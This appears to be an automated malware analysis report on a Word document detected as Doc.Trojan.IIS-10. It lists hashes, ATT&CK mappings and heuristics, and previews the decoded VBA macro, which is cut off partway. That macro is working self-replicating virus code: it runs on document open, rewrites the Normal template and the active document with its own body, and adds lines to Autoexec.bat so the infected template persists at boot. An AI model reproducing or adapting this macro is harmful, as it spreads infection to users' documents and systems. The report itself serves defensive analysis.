Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 63b9412844c0cd4b…

MALICIOUS

Office (OLE)

77.0 KB Created: 1998-08-26 23:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3b7ff204554932cdfed64ced3f20bb22 SHA-1: e8dd21a97bbb8c23b6613493753f681b62a48fd5 SHA-256: 63b9412844c0cd4b09976ec31e00dc5c14d112a9f89a6ae9c4d75a633d85bd97
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The script attempts to export VBA components to DLL files and manipulate Autoexec.bat, suggesting an attempt to establish persistence or download further payloads. The ClamAV detection as 'Doc.Trojan.IIS-10' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.IIS-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.IIS-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77962 bytes
SHA-256: 85d68098919df9430baea8bbf7956e3c3c07e6dfaf317e2944ef6c55c3e6463d
Detection
ClamAV: Doc.Trojan.IIS-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Rem MyName = IIS
Close
On Error GoTo MegaJump
Open "c:\msdos.sys" For Input As #1
Do
Line Input #1, ms
If UCase(Left(ms, 7)) = "WINDIR=" Then
a = Len(ms)
windir = Mid(ms, 8, a)
GoTo fert
End If
Loop
Close
fert:
Close
Open windir & "\system\Log.drv" For Append As #1
Print #1, "+"
Close
NormInstalled = False
ActInstalled = False
NormalTemplate.VBProject.VBComponents(1).Export ("c:\vn.dll")
ActiveDocument.VBProject.VBComponents(1).Export ("c:\vd.dll")
NormInst = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
ActInst = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1)
If UCase(NormInst) = "REM MYNAME = IIS" Then NormInstalled = True
If UCase(ActInst) = "REM MYNAME = IIS" Then ActInstalled = True

Close
Open "c:\Autoexec.bat" For Append As #12
Close #12
Open "c:\Autoexec.bat" For Input As #12
Do Until EOF(12)
If EOF(12) Then GoTo dss
Line Input #12, a
If a = "@del c:\normalb.dot" Then SetAttr (NormalTemplate.FullName), vbReadOnly
Loop
dss:

If NormInstalled = True And ActIntalled = True Then GoTo esub
If NormInstalled = True Then IW = "C:\vn.dll" Else IW = "C:\Vd.dll"
Open IW For Input As #1
FullCode = "Private Sub Document_Open()" & Chr(13)
Do
Line Input #1, VirCode
Loop Until VirCode = "Private Sub Document_Open()"
Do
If VirCode = "End Sub" Then ess = ess + 1
If ess = 3 Then GoTo jump
Line Input #1, VirCode
If VirCode = "Rem Written by Flitnic" Then GoTo jump
FullCode = FullCode & VirCode & Chr(13)
Loop
jump:
FullCode = FullCode & VirCode & Chr(13)
FullCode = FullCode & "End Sub"
If NormInstalled = False Then
dd = Dir(NormalTemplate.FullName)
If dd = "" Then GoTo AtrNo
at = GetAttr(NormalTemplate.FullName)
If at = 33 Then at = 1
If at = 1 Then
Close
Open "c:\Autoexec.bat" For Append As #12
Close #12
Open "c:\Autoexec.bat" For Input As #12
Do Until EOF(12)
If EOF(12) Then GoTo ds
Line Input #12, a
If a = "@del c:\normalb.dot" Then GoTo fv
Loop
ds:
SetAttr (NormalTemplate.FullName), vbNormal
Documents.Add Template:="", NewTemplate:=False
Lines = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, FullCode
ActiveDocument.SaveAs FileName:="C:\Normalb.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
ActiveDocument.Save
Close #1
Open "c:\No.dat" For Append As #1
Close #1
ActiveDocument.Close
Kill "c:\No.dat"
Close #12
Open "c:\autoexec.bat" For Append As #12
Close #12

FileCopy "c:\Autoexec.bat", "c:\Autoexec.bak"
Close #12
Open "c:\Autoexec.bat" For Append As #12
Print #12, "@Copy /y C:\normalb.dot " & NormalTemplate.FullName
Print #12, "@del c:\normalb.dot"
Print #12, "@Copy /y c:\Autoexec.bak c:\Autoexec.bat"
fv:
Close
Exit Sub
End If
AtrNo:
Lines = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines
NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines 1, FullCode
dd = Dir(NormalTemplate.FullName)
If dd = "" Then Exit Sub
NormalTemplate.Save
End If
If ActInstalled = False Then
If Mid(ActiveDocument.FullName, 3, 1) = "\" Then
Lines = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, FullCode
ActiveDocument.Save
Else
Lines = ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents(1).CodeModule.DeleteLines 1, Lines
ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines 1, FullCode
End If
End If
esub:
a = Dir(NormalTemplate
... (truncated)